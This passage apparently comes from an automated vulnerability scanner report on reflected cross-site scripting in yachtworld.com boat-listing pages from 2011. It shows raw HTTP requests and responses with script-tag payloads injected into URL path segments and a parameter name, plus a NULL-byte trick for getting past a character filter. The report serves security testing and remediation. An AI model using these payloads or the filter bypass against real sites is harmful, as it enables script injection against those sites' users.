25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:43 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 17 Dec 2010 17:08:15 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:43 GMT Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1993"><script>alert(1)</script>bce16822595 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-Center-Console-1990703/Brick/NJa1993"><script>alert(1)</script>bce16822595/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:22 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 17 Dec 2010 17:08:15 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:22 GMT Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb8a8"><script>alert(1)</script>5f82de3500 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-Center-Console-1990703/Brick/NJ/United-Statescb8a8"><script>alert(1)</script>5f82de3500 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:56 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 17 Dec 2010 17:08:15 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:55 GMT Set-Cookie: VIEWED_BOATS_STORE=1990703%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B129%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F9%2F9%2F0%2F7%2F1990703_1_mini.jpg%3F1184600846000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-Center-Console-1990703%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.132. http://www.yachtworld.com/boats/2005/Regulator-32-Fs-Center-Console-1990703/Brick/NJ/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %005dd35"><script>alert(1)</script>4deefd4b163 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5dd35"><script>alert(1)</script>4deefd4b163 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /boats/2005/Regulator-32-Fs-Center-Console-1990703/Brick/NJ/United-States?%005dd35"><script>alert(1)</script>4deefd4b163=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 